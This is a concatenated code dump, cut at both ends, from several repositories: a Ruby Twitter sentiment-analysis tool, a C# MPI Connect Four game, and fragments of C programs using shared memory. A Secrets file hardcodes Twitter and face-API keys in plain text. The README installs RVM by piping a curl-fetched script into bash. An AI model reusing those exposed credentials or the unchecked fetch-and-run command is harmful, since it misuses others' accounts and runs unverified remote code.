[50,50,50]], :debug => Paint["[dbug] ", [87,14,88]], :warn => Paint["[warn] ", [255,197,44]], :error => Paint["[erro] ", :red], :happy => Paint["[ :) ] ", [151,192,12]], :sad => Paint["[ :( ] ", [171,7,97]], :bhargav => Paint["[ :| ] ", [200,200,200]], :separator => Paint["======" , [50,50,50]], :category => Paint[" == ", :yellow], } mood=:info if not moods.member? mood return moods[mood] + msg if level_to_score(debug_level) <= level_to_score(@@debug) end def pp mood=:info, msg="", debug_level=:off msg = fmt(mood, msg, debug_level) puts msg unless msg.nil? end def pp_exception e pp :error, "Exception caught (#{e})" e.backtrace.each { |exception_line| pp :error, " #{exception_line}" } end end<file_sep>require 'purdy-print' require 'twitter-sentiment/parser/face_recon' require 'twitter-sentiment/parser/text_mood' Infinity = 1.0/0 module TwitterSentiment module Parser class UserStalker def initialize textmood=nil pp :info, "User stalker initialized successfully.", :high @timeline = TwitterSentiment::Input::TwitterTimeline.new @textmood = textmood.nil? ? TwitterSentiment::Parser::TextMood.new(:afinn_emo) : textmood end def generate_score results sum = results.values.reduce(:+) sum.to_f/results.length end #@param [Twitter::User] the user in question #@return data about the user def gather status user = status.user #Call all of the included methods return nil if user.nil? tweets = @timeline.for_user user return nil if tweets.nil? sum = 0 min = Infinity max = -Infinity tweets.each do |tweet| score = @textmood.score tweet.text sum += score min = score < min ? score : min max = score > max ? score : max end pp :debug, "#{tweets.length} tweets parsed in the timeline.", :high #Spit out data in some format return { :tweets => tweets.length, :sum => sum, :min => min, :max => max, :score => sum.to_f / tweets.length } end end #UserStalker end #Parser end #TwitterSentiment<file_sep>require 'twitter-sentiment/input/face_recon.rb' require 'purdy-print' include PurdyPrint module TwitterSentiment module Parser include PurdyPrint #is this redundant? class FaceRecon def initialize @client = TwitterSentiment::Input::FaceRecon.new pp :info, "Face parser initialized successfully.", :high end #JSON PARSING: #results["photos"][photo number]["tags"][face number]["attributes"]["smiling"]["value" or "confidence"] #@param [String] Image url of user background image #@param [String] Image url of user profile image #@return [int] number of images that are default def default_imgs back = nil, prof = nil r = 0 r += 1 unless back.index("twimg.com/images/themes/").nil? r += 1 unless prof.index("twimg.com/sticky/default_profile_images/").nil? return r end # Returns an array of arrays (info about the detected faces) # # @param [FaceAPI search] Image info # @return [[boolean,int]...] Smiling?, confidence def smile_info info = "" info = info["photos"][0]["tags"] arr = [] info.each do |n| n = n["attributes"]["smiling"] next if n.nil? arr << [n["value"],n["confidence"]] end arr end #Finds the average happiness of people in profile picture, #weighted based on confience and number of faces #@param [String] imgURL #@return [float] average happiness def profile_image_happiness img = nil if img != nil #formatting url img = img + "?x=.png" #pp :info, "Searching for face in #{img}" #executing search arr = @client.detect_faces(img) #call whatever calls the FaceAPI arr = smile_info(arr) #format the search results return 0 if arr.length == 0 # expecting arr = [[boolean,int],[boolean,int].....] #pp :info, "faces array: #{arr}" #tabulating results score = 0 arr.each do |n| s = n[1] s *= -1 if !n[0] score += s end score.to_f / arr.length.to_f else 0 end # if != nil end def gather status user = status.user #Call all of the included methods return nil if user.nil? profImgHappiness = profile_image_happiness(user.profile_image_url.gsub(/_normal/, '')) #int, -100...100 return { :prof_img_happiness => profImgHappiness, :score => profImgHappiness.to_f/10.0 } end end # FaceRecon end # Parser end # TwitterSentiment <file_sep>module TwitterSentiment module Prefs class Defaults def self.strip_regex { :url => { # example: http://google.com :regex => /\(?\bhttp:\/\/[-A-Za-z0-9+&@#\/%?=~_()|!:,.;]*[-A-Za-z0-9+&@#\/%=~_()|]/, :sub => '' }, :hashtag => { # example: #amirite :regex => /#\w*/, :sub => '' }, :reference => { # example: @sigmusic_uiuc :regex => /@\w*/, :sub => '' }, :lquote => { # beginning of a quote mark that's not inside a word, left :regex => /(\W)['"]/, :sub => '\1' }, :rquote => { # beginning of a quote mark that's not inside a word, right :regex => /['"](\W)/, :sub => '\1' }, } end def self.twitter { :user_id => 480959867, :user_name => 'sigmusic_uiuc', :search_phrase => <PASSWORD>", } end def self.socket { :host => 'localhost', :port => 9133, } end end end end<file_sep>require 'yajl' require 'socket' require 'rubygems' require 'purdy-print' include PurdyPrint module TwitterSentiment module Output include PurdyPrint class Send def initialize pp :info, "Send module initialized successfully." end # Sends data to the music generator # @return [nil] def send_gen weights, status, parsers data = { :input => { :source => "twitter", :username => status.user.screen_name, :displayname => status.user.name, :userid => status.user.id_str, :url => "https://twitter.com/#!/" + status.user.screen_name + "/status/" + status.id_str + "/", :userimgurl => status.user.profile_image_url.gsub(/_normal/, ''), :raw_input => status.text, :text => text_score[:stripped_text], :metadata => nil #fix this }, #input :weights => weights, #weights :sentiment => { :text => { :total_score => h, #stolen from "happiness" :positive_score => nil, #fix this :negative_score => nil #fix this }, :tweet => { :hash_obnoxiousess => status.entities.hashtags.length, :retweet => status.retweeted }, :face => { :smiling => nil, :confidence => nil, } } #sentiment } #data payload = Yajl::Encoder.encode(data) prefs = TwitterSentiment::Prefs::Defaults.socket streamSock = TCPSocket.new(prefs[:host], prefs[:port]) streamSock.write(payload) streamSock.close rescue Exception pp :warn, "Failed to send payload across socket.", :med end end #Send end #Output end #TwitterSentiment<file_sep>module TwitterSentiment module Prefs class Secrets def self.twitter { :consumer_key => 'xW42O1MOwxqqFdq7BxqSg', :consumer_secret => '<KEY>', :oauth_token => '<KEY>', :oauth_token_secret => '<KEY>', } end def self.face { :key => '94dd94ff9e7bcbba27d8cc508c5a3599', :secret => '2fd64732016ae293aed3eac7ad340c49', } end end end end<file_sep>require 'rubygems' require 'twitter' require 'purdy-print' require 'paint' require 'fiber' require 'twitter-sentiment/prefs/defaults' require 'twitter-sentiment/prefs/secrets' module TwitterSentiment module Input include PurdyPrint class TwitterTimeline def initialize Twitter.configure do |config| config = TwitterSentiment::Prefs::Secrets.twitter end end def for_user user tweets = [] page = 0 while not (page = Twitter.user_timeline(user, {:count => 200, :page => page})).empty? tweets += page end return tweets rescue Exception => e puts e.message return tweets end end # TwitterTimeline end # Input end # twitter-sentiment<file_sep>require 'purdy-print' require 'twitter-sentiment/parser/face_recon' require 'twitter-sentiment/parser/text_mood' module TwitterSentiment module Parser class UserStats def initialize textmood=nil, facerecon=nil pp :info, "User info parser initialized successfully.", :high @textmood = textmood.nil? ? TwitterSentiment::Parser::TextMood.new(:afinn_emo) : textmood @facerecon = facerecon.nil? ? TwitterSentiment::Parser::FaceRecon.new : facerecon end def generate_score results sum = results.values.reduce(:+) sum.to_f/results.length end #@param [Twitter::User] the user in question #@return data about the user def gather status user = status.user #Call all of the included methods return nil if user.nil? boringImages = @facerecon.default_imgs(user.profile_background_image_url, user.profile_image_url) #int followPerTweet = user.followers_count.to_f / user.statuses_count.to_f #float, 0... descriptionScore = @textmood.score(user.description) #int #Spit out data in some format results = { :boring_images => boringImages * 5, :follows_per_tweet => followPerTweet * 10.0, :description_score => descriptionScore } results[:score] = generate_score results return results end end #UserInfo end #Parser end #TwitterSentiment<file_sep>$:.push File.join(File.dirname(__FILE__),'..','..','lib') begin require 'rspec/expectations'; rescue LoadError; require 'spec/expectations'; end require 'twitter-sentiment/parser/text_mood' Before do @text_mood = nil end After do end Given /I start an instance initialized with '(.*)'/ do |file| file = file[1..-1].to_sym if file[0] == ":" # convert to symbol from string if that's what's passed begin @text_mood = TwitterSentiment::Parser::TextMood.new(file) rescue Exception => e @text_mood = Exception.new end end When /I ask the score of '(.*)'/ do |word| @result = @text_mood.score word end Then /the score returned should be '(.*)'/ do |result| result = result == 'nil' ? nil : result.to_f @result.should == result end Then /an exception should be thrown/ do @text_mood.is_a? Exception end<file_sep>source "http://rubygems.org" gem "rake" gem "yard" gem "yajl-ruby" gem "cucumber" gem "tweetstream" gem "twitter" gem "face" gem "paint" gem "progressbar" gem "linguistics" gem "eventmachine" <file_sep>require 'cucumber/rake/task' <file_sep>Twitter Sentiment ================= Take a tweet, extract a *TON* of information out of a short bit of text. Let's do this. Get it running ------------------ ### 1. Install RVM (if you have it already, skip to step 2) ######(from [beginrescueend.com](http://beginrescueend.com/)) ```bash bash -s stable < <(curl -s https://raw.github.com/wayneeseguin/rvm/master/binscripts/rvm-installer) source ~/.bash_profile ``` ####Linux Users ```bash rvm install 1.9.3 ``` ####Mac Users [Install XCode from the App Store](http://itunes.apple.com/us/app/xcode/id497799835?mt=12) if you haven't already (it's free). ```bash rvm install 1.9.3 --with-gcc=clang ``` OS X users may be interested in [Jewelry Box](http://unfiniti.com/software/mac/jewelrybox), a Cocoa UI for RVM. ####Windows users Install Ruby from [RubyInstaller](http://rubyinstaller.org/downloads/) The DevKit is also required to install some of the gems described below ### 2. Install the necessary gems ```bash gem install bundler bundle install ``` ### 3. Run it ```bash bundle exec ./app.rb ``` Directory Structure ------------------- `lib/` is where the bulk of the code lies. It is all of the library files used by our app.rb. - `twitter-sentiment/`: libraries in our namespace. - `input/`: libraries that contact the outside world via APIs (generally). - `output/`: libraries that send data outward. - `parser/`: libraries that get data form inputs, parse them, and give weights to be aggregated. - `prefs/`: preferences and constants to be used by any of the aforementioned libraries/files. `dict/` contains the collection of dictionaries (bag of words, or BoW) being used for sentiment analysis. `research/` is a general placeholder for interesting papers and potential BoWs. Research Leads -------------- ### AFINN #### Descriptions [AFINN: A new word list for sentiment analysis](http://fnielsen.posterous.com/afinn-a-new-word-list-for-sentiment-analysis) [Simplest Sentiment Analysis in Python](http://fnielsen.posterous.com/simplest-sentiment-analysis-in-python-with-af) #### Related [Twitter Mood](http://www.ccs.neu.edu/home/amislove/twittermood/) [ANEW Sentiment-Weighted Word Bank](http://csea.phhp.ufl.edu/media/anewmessage.html) [Measuring User Influence in Twitter](http://an.kaist.ac.kr/~mycha/docs/icwsm2010_cha.pdf) Projects/Papers --------------- [Sentiment strength detection in short informal text](http://onlinelibrary.wiley.com/doi/10.1002/asi.21416/abstract) [Twitter as a Corpus for Sentiment Analysis and Opinion Mining](http://deepthoughtinc.com/wp-content/uploads/2011/01/Twitter-as-a-Corpus-for-Sentiment-Analysis-and-Opinion-Mining.pdf) [We Feel Fine](http://wefeelfine.org/faq.html) Modeling Statistical Properties of Written Text (lookup!) <file_sep>require 'face' require 'twitter-sentiment/prefs/secrets' require 'purdy-print' include PurdyPrint module TwitterSentiment module Input include PurdyPrint class FaceRecon #JSON PARSING: #results["photos"][photo number]["tags"][face number]["attributes"]["smiling"]["value" or "confidence"] #Returns the client needed to make searches def initialize file = TwitterSentiment::Prefs::Secrets.face @client = Face.get_client(:api_key => file[:key], :api_secret => file[:secret]) pp :info, "Face input initialized successfully." end #Returns Face API info (uses rest API) #@param [String] Image URL #@return [JSON] def detect_faces imgurl = "" return @client.faces_detect(:urls => [imgurl]) end end #FaceRecon end #Input end #TwitterSentiment<file_sep>require 'progressbar' require 'linguistics' include Linguistics::EN module TwitterSentiment module Parser # Analyzes text from a bag of words with sentiments attached (separated by white space) # See the dict/ folder for examples of bags. class TextMood attr_reader :dict @@bags_dir = 'dict' # What folder the dictionaries are stored in in project dir @@bags = { :afinn_emo => "AFINN-111-emo.txt", :afinn => "AFINN-111.txt", } #end def symbolize string string.gsub(/\s+/, "_").downcase.to_sym end private :symbolize def desymbolize sym sym.to_s.gsub(/_/," ") end private :desymbolize # Load a file to be used as our bag of words. # # @param [String, Symbol] String path or symbol to a known dictionary we want to use # => Note: If it's a string, it's the path relative to the root directory. # @raise [ArgumentError] if the file isn't a word, a tab, and a score per line def initialize file @dict = {} case file when Symbol file = File.join(@@bags_dir, @@bags[file]) # Convert from symbol to filepath if passed when String # Do nuttin', we already have a filepath else raise ArgumentError, "Expected String or Symbol input for file" end pp :category, "dictionaries" generate_dictionary File.open(file, "r") generate_plurals generate_opposites end # Generate Dictionary from file of proper syntax # # @param [File] file the file whose tab-separated word and score # @private def generate_dictionary file pb = ProgressBar.new "file dict", dict.length # steps pb.format = " %-14s %3d%% %s %s" file.each_line do |line| line = line.strip.split("\t") # Strip newline, and turn into tab-separated array raise SyntaxError, "lines must be word{tab}weight" unless line.length == 2 # word -> symbol for hash key, weight -> int value for hash value word, val = symbolize(line[0]), line[1].to_i @dict[word] = val end pb.finish end private :generate_dictionary # Generate the opposite "not" versions of words to allow for a bit of negation compensation. # # @private def generate_opposites pb = ProgressBar.new "opposite dict", dict.length # steps pb.format = " %-14s %3d%% %s %s" notdict = {} @dict.each do |word, score| notdict[symbolize("not #{desymbolize(word)}")] = -score end @dict.merge!(notdict) {|key, oldval, newval| oldval } # collisions won't be overwritten pb.finish end private :generate_opposites def generate_plurals pb = ProgressBar.new "plural dict", dict.length # steps pb.format = " %-14s %3d%% %s %s" plurals = {} @dict.each do |word, score| plurals[symbolize(plural(desymbolize(word)))] = score pb.inc end @dict.merge!(plurals) {|key,oldval,newval| oldval } pb.finish end private :generate_plurals # Turn a potentially poorly-formatted "tweet-like" message into an array of # words that would hopefully exist in a dictionary. This will never be perfect, # and may need more improvement still. Will have to test against real data. # # @param [String] sentence to be cleaned and arrayitized # @return [Array<String>] the array of words after being sanitized (to an extent) def sentence_to_stripped_array sentence # all lowercase, baby sentence = sentence.downcase # remove all http://URLs, #hashtags, @references, and 'quotation marks' from sentence TwitterSentiment::Prefs::Defaults.strip_regex.each_value do |rule| sentence.gsub!(rule[:regex], rule[:sub]) end words = sentence.split(/[?!., ]/) # break up by spaces or punctuation words.reject! { |word| word.nil? or word.empty? } # get rid of any blank entries while not (i = words.index("not")).nil? words[i,2] = words[i,2].join(" ") unless i == words.length end return words end private :sentence_to_stripped_array # Returns the mood score of the string. # # @param [String] string to score # @return [Hash,nil] the score and stripped text string that was used for scoring def gather status text = status.text words = sentence_to_stripped_array text sentence_score = score text return {:score => ((sentence_score.to_f/words.length)*20), :stripped_text => words.join(" ")} end def score text words = sentence_to_stripped_array text total = 0 words.each do |word| total += @dict[symbolize(word)] if @dict.member? symbolize(word) end return total end end # TextMood end # Parser end # TwitterSentiment<file_sep>require 'rubygems' require 'tweetstream' require 'purdy-print' require 'paint' require 'fiber' require 'twitter-sentiment/prefs/defaults' require 'twitter-sentiment/prefs/secrets' module TwitterSentiment module Input include PurdyPrint class TwitterStream def initialize options default = TwitterSentiment::Prefs::Defaults.twitter @client = TweetStream::Client.new(TwitterSentiment::Prefs::Secrets.twitter) @fibers = [Fiber.current] # Chain of fools @client.on_delete { |status_id, user_id| #TODO: be nice and delete, or be a biznatch? }.on_limit { |skip_count| #TODO: something }.on_reconnect { |timeout, retries| #TODO: anything necessary? doubt it. } # Currently will track all references to default specified username. #@client.track("@#{default[:user_name]}") do |status| # puts "[#{status.user.screen_name}] #{status.text}" #end begin @client.track(default[:search_phrase]) do |status| begin # raw debug tweet output pp :debug, "#{Paint['['+status.user.screen_name+']', :yellow]} #{status.text}", :high @fibers << Fiber.new do # call the status-received callback options[:status_callback].call(status) end @fibers.last.resume rescue Interrupt raise rescue Exception => e pp_exception e end end rescue EventMachine::ConnectionError => e pp :error, "Couldn't connect to Twitter." end end end # Twitter end # Input end # twitter-sentiment<file_sep># Wrapper for including all the modules and classes found in twitter-sentiment package. Dir[File.join("lib","**","*.rb")].each {|file| require file.split('/')[1..-1].join('/') }
dd6f06c94199ade4f57ca561f145109a73884f8b
[ "Markdown", "Ruby" ]
18
Ruby
SIGMusic/twitter-sentiment
25b6d8923a260976d56ed91c4d4c0a599c1f103f
222375bd003747256ff7c71897cfd1fd4589a95f
refs/heads/main
<file_sep>using System; using System.Collections.Generic; using System.Diagnostics; using System.Linq; using MPI; using Environment = MPI.Environment; namespace Connect4 { class Program { private const int MaxSearchLevel = 8; private static int _worldSize; private static int _myId; private const int BoardInitialization = 0; private const int TaskRequest = 1; private const int TaskInfo = 2; private const int TaskComplete = 3; private const int CalculationEnd = 4; private const int GameEnd = 5; private static Board _gameBoard = new Board(); private static bool _gameEnd; //private static Stopwatch sw = new Stopwatch(); static void Main(string[] args) { using (new Environment(ref args)) { InitializeMPIValues(); //Master if (_myId == 0) { GameMaster(); } //Slaves else { Slave(); } } } private static void Slave() { //slaves are running until the game is over while (!_gameEnd) { bool stepCalculationEnd = false; //we're waiting for either game ending tag or board initialization for the start of the next calculation var message = Communicator.world.Probe(0, Communicator.anyTag); if (message.Tag == GameEnd) { Communicator.world.Receive<bool>(0, GameEnd); _gameEnd = true; break; } //first thing in each step is to synchronize gameboard - receive current board state from GameMaster var _gameBoard = Communicator.world.Receive<Board>(0, BoardInitialization); while (!stepCalculationEnd) { //tell the GameMaster you're ready for a task Communicator.world.Send(true, 0, TaskRequest); //PrintMessage("Sent request for a task"); //wait for any message - could be a task or could be a calculation end var incomingMessage = Communicator.world.Probe(0, Communicator.anyTag); //if the message is calculation end if (incomingMessage.Tag == CalculationEnd) { Communicator.world.Receive<bool>(0, CalculationEnd); stepCalculationEnd = true; //PrintMessage($"Received calculation end from {incomingMessage.Source}"); //PrintMessage($"Calculation ended"); } //else, it's a new task else { string newTask = Communicator.world.Receive<string>(0, TaskInfo); int cpuMove = int.Parse(newTask.Split('-')[0]); int playerMove = int.Parse(newTask.Split('-')[1]); //PrintMessage($"Received task: CPU move - {CPUMove} Player move - {PlayerMove}"); double moveResult; string response; //if the CPU move is not legal return 0 if (!_gameBoard.MoveLegal(cpuMove)) { //PrintMessage("Cpu move illegal"); response = FormatACompletionResponse(newTask, 0); Communicator.world.Send(response, 0, TaskComplete); //PrintMessage($"Sent {response} to 0"); continue; } //else, play the move else { _gameBoard.Move(cpuMove, Board.CPU); } //if the player move is not legal return 0 if (!_gameBoard.MoveLegal(playerMove)) { //PrintMessage("Player move illegal"); response = FormatACompletionResponse(newTask, 0); Communicator.world.Send(response, 0, TaskComplete); //PrintMessage($"Sent {response} to 0"); _gameBoard.UndoMove(cpuMove); continue; } //else, play the move else { _gameBoard.Move(playerMove, Board.PLAYER); } //after playing your task, evaluate it //PrintMessage("Evaluating"); moveResult = Evaluate(_gameBoard, Board.PLAYER, playerMove, MaxSearchLevel - 2); _gameBoard.UndoMove(playerMove); _gameBoard.UndoMove(cpuMove); response = FormatACompletionResponse(newTask, moveResult); //send the result to the GameMaster and start requesting new task Communicator.world.Send(response, 0, TaskComplete); //PrintMessage($"Sent {response} to 0"); } } } } private static string FormatACompletionResponse(string newTask, double result) { //make a string that says which task was given and what result it got, ex. cpuMove-playerMove=result return $"{newTask}={result}"; } private static void GameMaster() { while (!_gameEnd) { int userMove; //_gameBoard.PrintBoard(); do { userMove = int.Parse(Console.ReadLine()); } while (!_gameBoard.MoveLegal(userMove)); _gameBoard.Move(userMove, Board.PLAYER); if (_gameBoard.GameEnd(userMove, out char winner) && winner == Board.PLAYER) { //_gameBoard.PrintBoard(); //Console.WriteLine("Game over! PLAYER WON!"); _gameEnd = true; SendGameEnding(); } //if user didn't win, it's our turn int cpuMove = CPUTurn(); _gameBoard.Move(cpuMove, Board.CPU); _gameBoard.PrintBoard(); //did we win if (_gameBoard.GameEnd(cpuMove, out char winner1) && winner1 == Board.CPU) { _gameEnd = true; //Console.WriteLine("Game over! CPU WON!"); SendGameEnding(); } } } private static int CPUTurn() { //sw.Start(); int nextMove; //if it's only me - I'll solve it myself if (_worldSize == 1) { nextMove = SolveYourself(); } //if there is/are others - make the calculation parallel else { nextMove = SolveInParallel(); } //sw.Stop(); //Console.WriteLine($"Calculating next move took: {sw.Elapsed.TotalMilliseconds} ms"); //sw.Reset(); return nextMove; } private static void SendCalculationEnd() { for (int i = 1; i < _worldSize; i++) { Communicator.world.Send(true, i, CalculationEnd); } } private static void SendGameEnding() { for (int i = 1; i < _worldSize; i++) { Communicator.world.Send(true, i, GameEnd); } } private static int ProcessTheResults(Dictionary<string, double> handedTaskCalculations) { double[] columnResults = new double[_gameBoard.Width]; for (int cpuMove = 0; cpuMove < _gameBoard.Width; cpuMove++) { int possibleMoves = 0; if (!_gameBoard.MoveLegal(cpuMove)) continue; _gameBoard.Move(cpuMove, Board.CPU); //sum up the player moves - if there is a move that results in a player win (-1) immediately make that column result -1 for (int playerMove = 0; playerMove < _gameBoard.Width; playerMove++) { if (!_gameBoard.MoveLegal(playerMove)) continue; possibleMoves++; string taskName = $"{cpuMove}-{playerMove}"; if (handedTaskCalculations[taskName] == -1) { columnResults[cpuMove] = handedTaskCalculations[taskName]; break; } else { columnResults[cpuMove] += handedTaskCalculations[taskName]; } } _gameBoard.UndoMove(cpuMove); columnResults[cpuMove] /= possibleMoves; } foreach (var result in columnResults) { Console.Write($"{result.ToString("F3").Replace(",",".")} "); } double maxResult = columnResults.Max(); int columnOfMaxResult = Array.IndexOf(columnResults, maxResult); Console.WriteLine(); //Console.WriteLine($"Highest value = {maxResult:F3} on column: {columnOfMaxResult}"); return columnOfMaxResult; } private static void ProcessTheRequest(Status incomingMessage, Dictionary<string, double> handedTaskCalculations, ref int calculationsCompleted) { //if it's a request for a new task - send new task if (incomingMessage.Tag == TaskRequest) { Communicator.world.Receive<bool>(incomingMessage.Source, TaskRequest); //PrintMessage($"Received a task request from {incomingMessage.Source}"); string newTask = HandOutATask(handedTaskCalculations); if (newTask != string.Empty) { Communicator.world.Send(newTask, incomingMessage.Source, TaskInfo); //PrintMessage($"Sent task {newTask} to {incomingMessage.Source}"); } } //if it's a completion of a task - save it and increment the completion counter if (incomingMessage.Tag == TaskComplete) { string received = Communicator.world.Receive<string>(incomingMessage.Source, TaskComplete); string task = received.Split('=')[0]; double result = double.Parse(received.Split('=')[1]); //Console.WriteLine($"Received calculation for a task {task} from process {incomingMessage.Source} = {result}"); //update the task calculations handedTaskCalculations[task] = result; calculationsCompleted++; //Console.WriteLine($"Current completed tasks = {calculationsCompleted}"); } } private static string HandOutATask(Dictionary<string, double> handedTaskCalculations) { for (int cpuMove = 0; cpuMove < _gameBoard.Width; cpuMove++) { for (int playerMove = 0; playerMove < _gameBoard.Width; playerMove++) { string taskName = $"{cpuMove}-{playerMove}"; //if we have not handed out this task already - create a new task ready to be calculated if (!handedTaskCalculations.ContainsKey(taskName)) { handedTaskCalculations.Add(taskName, 0); return taskName; } } } return string.Empty; } private static void SendGameBoard() { for (int i = 1; i < _worldSize; i++) { Communicator.world.Send(_gameBoard, i, BoardInitialization); } } private static int SolveYourself() { int bestColumn; double bestResult; var depth = MaxSearchLevel; do { bestColumn = -1; bestResult = -1; for (int i = 0; i < _gameBoard.Width; i++) { if (_gameBoard.MoveLegal(i)) { if (bestColumn == -1) bestColumn = i; _gameBoard.Move(i, Board.CPU); var result = Math.Round(Evaluate(_gameBoard, Board.CPU, i, depth - 1), 3); _gameBoard.UndoMove(i); if (result > bestResult) { //Console.WriteLine($"New best"); bestResult = result; bestColumn = i; } //Console.WriteLine($"Column {i}, value: {result}"); Console.Write($"{result.ToString("F3").Replace(",",".")} "); } } depth /= 2; } while (bestResult == -1 && depth > 0); Console.WriteLine(); //Console.WriteLine($"The best column: {bestColumn}, value: {bestResult:F3}"); return bestColumn; } private static int SolveInParallel() { int numberOfTasks = _gameBoard.Width * _gameBoard.Width; //first thing to do is get every slave up to speed - synchronize gameboard with everyone SendGameBoard(); Dictionary<string, double> handedTaskCalculations = new Dictionary<string, double>(numberOfTasks); int calculationsCompleted = 0; //while there are still tasks that are not completed while (calculationsCompleted < numberOfTasks) { //wait for any message var incomingMessage = Communicator.world.Probe(Communicator.anySource, Communicator.anyTag); ProcessTheRequest(incomingMessage, handedTaskCalculations, ref calculationsCompleted); } SendCalculationEnd(); int move = ProcessTheResults(handedTaskCalculations); return move; } private static double Evaluate(Board currentBoard, char lastPlayer, int lastInsertedColumn, int currentDepth) { //3. rule helpers bool allWins = true; bool allLoses = true; //check if the game is over if (currentBoard.GameEnd(lastInsertedColumn, out char winner)) { if (winner == Board.CPU) return 1; if (winner == Board.PLAYER) return -1; } //if there is no winner, and we are at the max depth, return 0 if (currentDepth == 0) return 0; //if there are more depths to search, move to the next depth currentDepth--; char newPlayer = lastPlayer == Board.PLAYER ? Board.CPU : Board.PLAYER; double subNodesSum = 0; int possibleMoves = 0; for (int i = 0; i < currentBoard.Width; i++) { if (currentBoard.MoveLegal(i)) { possibleMoves++; currentBoard.Move(i, newPlayer); double subNodeResult = Evaluate(currentBoard, newPlayer, i, currentDepth); currentBoard.UndoMove(i); if (subNodeResult > -1) allLoses = false; if (subNodeResult < 1) allWins = false; if (subNodeResult >= 1 && newPlayer == Board.CPU) return 1; //1. rule if (subNodeResult <= -1 && newPlayer == Board.PLAYER) return -1; //2. rule subNodesSum += subNodeResult; } } //3. rule if (allWins) return 1; if (allLoses) return -1; subNodesSum /= possibleMoves; return subNodesSum; } private static void InitializeMPIValues() { _worldSize = Communicator.world.Size; _myId = Communicator.world.Rank; } //private static void PrintMessage(string message) //{ // for (int i = 0; i < _myId; i++) Console.Write("\t"); // Console.WriteLine(message); //} } } <file_sep>using System; namespace Connect4 { [Serializable] public class Board { public static char CPU = 'C'; public static char PLAYER = 'P'; public int Height { get; } = 7; public int Width { get; } = 7; private char[,] _board; public Board() { _board = new char[Height, Width]; InitializeEmpty(); } public void PrintBoard() { for (int i = 0; i < Height; i++) { for (int j = 0; j < Width; j++) { Console.Write(_board[i,j]); } Console.Write('\n'); } } private void InitializeEmpty() { for (int i = 0; i < Height; i++) { for (int j = 0; j < Width; j++) { _board[i, j] = '='; } } } public void UndoMove(int column) { //search and delete the first spot that is not free in a given column for (int i = 0; i < Height; i++) { if (_board[i, column] != '=') { _board[i, column] = '='; return; } } } public bool Move(int column, char player) { if (!MoveLegal(column)) { return false; } //bottom - up search for the first open slot for (int i = Height - 1; i >= 0; i--) { if (_board[i, column] == '=') { _board[i, column] = player; return true; } } return false; } public bool GameEnd(int column, out char winner) { var lastInsertedRow = 0; for (int i = 0; i < Height; i++) { if (_board[i, column] != '=') { lastInsertedRow = i; break; } } var player = _board[lastInsertedRow, column]; //check if player won horizontally var won = CheckForEndHorizontal(lastInsertedRow, player); if (won) { winner = player; return true; } //check if player won vertically won = CheckForEndVertical(column, player); if (won) { winner = player; return true; } //check if player won /-ly won = CheckForEndRightDiagonal(column, lastInsertedRow, player); if (won) { winner = player; return true; } //check if player won \-ly won = CheckForEndLeftDiagonal(column, lastInsertedRow, player); if (won) { winner = player; return true; } winner = '0'; return false; } private bool CheckForEndLeftDiagonal(int lastInsertedColumn, int lastInsertedRow, char player) { var fourInARow = 0; var rowIndex = lastInsertedRow; var columnIndex = lastInsertedColumn; //lower yourself and check left diagonal up while (rowIndex < Height - 1 && columnIndex < Width - 1) { rowIndex++; columnIndex++; } //check left diagonal up for 4-in-a-row while (rowIndex >= 0 && columnIndex >= 0) { if (_board[rowIndex, columnIndex] == player) { fourInARow++; } else { fourInARow = 0; } rowIndex--; columnIndex--; } if (fourInARow >= 4) { return true; } return false; } private bool CheckForEndRightDiagonal(int lastInsertedColumn, int lastInsertedRow, char player) { var fourInARow = 0; var rowIndex = lastInsertedRow; var columnIndex = lastInsertedColumn; //lower yourself and check right diagonal up while (rowIndex < Height - 1 && columnIndex > 0) { rowIndex++; columnIndex--; } //check right diagonal up for 4-in-a-row while (rowIndex >= 0 && columnIndex <= Width - 1) { if (_board[rowIndex, columnIndex] == player) { fourInARow++; } else { fourInARow = 0; } rowIndex--; columnIndex++; } if (fourInARow >= 4) { return true; } return false; } private bool CheckForEndVertical(int lastInsertedColumn, char player) { var fourInARow = 0; for (int i = 0; i < Height; i++) { if (_board[i, lastInsertedColumn] == player) { fourInARow++; } else { fourInARow = 0; } } if (fourInARow >= 4) { return true; } return false; } private bool CheckForEndHorizontal(int lastInsertedRow, char player) { var fourInARow = 0; for (int i = 0; i < Width; i++) { if (_board[lastInsertedRow, i] == player) { fourInARow++; } else { fourInARow = 0; } } if (fourInARow >= 4) { return true; } return false; } public bool MoveLegal(int column) { if (column >= Width || column < 0 || _board[0, column] != '=') { return false; } return true; } } }<file_sep># Connect4 Connect Four game implemented using MPICH (MPI implementation) in C#
b77ba64112e99847b1454e8b27246fd521e5b2a7
[ "Markdown", "C#" ]
3
C#
DorijanH/Connect4
9a601d2bd7fae302bb52399dbc1ae564a5bcfb26
873c08f3dedaa60e4772a5b42214d85555eb0593
refs/heads/master
<file_sep>#include<stdio.h> #include<stdlib.h> #include<termios.h> #include<pthread.h> #include<unistd.h> #include<sys/ipc.h> #include<sys/shm.h> int *shop_food_stock; pthread_t tid[2]; static struct termios old, new; /* Initialize new terminal i/o settings */ void initTermios(int echo) { tcgetattr(0, &old); /* grab old terminal i/o settings */ new = old; /* make new settings same as old settings */ new.c_lflag &= ~ICANON; /* disable buffered i/o */ if (echo) { new.c_lflag |= ECHO; /* set echo mode */ } else { new.c_lflag &= ~ECHO; /* set no echo mode */ } tcsetattr(0, TCSANOW, &new); /* use these new terminal i/o settings now */ } /* Restore old terminal i/o settings */ void resetTermios(void) { tcsetattr(0, TCSANOW, &old); } char getch_(int echo) { char ch; initTermios(echo); ch = getchar(); resetTermios(); return ch; } /* Read 1 character without echo */ char getch(void) { return getch_(0); } void *shared_memory(void *pointer){ key_t key=1234; int shmid=shmget(key, sizeof(int), IPC_CREAT | 0666); shop_food_stock=shmat(shmid, NULL, 0);\ } void *menu(void *menu){ while(1){ system("clear"); printf("\n-----SHOP----\n"); printf("Shop Stock = %d\n", *shop_food_stock); printf("1. Restock\n"); printf("2. Exit\n"); sleep(1); } } int main(){ char choose; printf("\nSHOP\n"); pthread_create(&(tid[0]),NULL,shared_memory,NULL); pthread_create(&(tid[1]),NULL,menu,NULL); while(1){ choose=getch(); if(choose=='1'){ *shop_food_stock+=1; printf("\nRestock Proses...\n"); sleep(1); } else if(choose=='2'){ system("clear"); printf("\nSEE YOU NEXT TIME!\n\n"); exit(EXIT_FAILURE); } } } <file_sep>#include<stdio.h> #include<string.h> #include<pthread.h> #include<stdlib.h> #include<unistd.h> #include<stdlib.h> pthread_t tid[5]; int iter; void* creating_file(void *arg){ pthread_t id=pthread_self(); 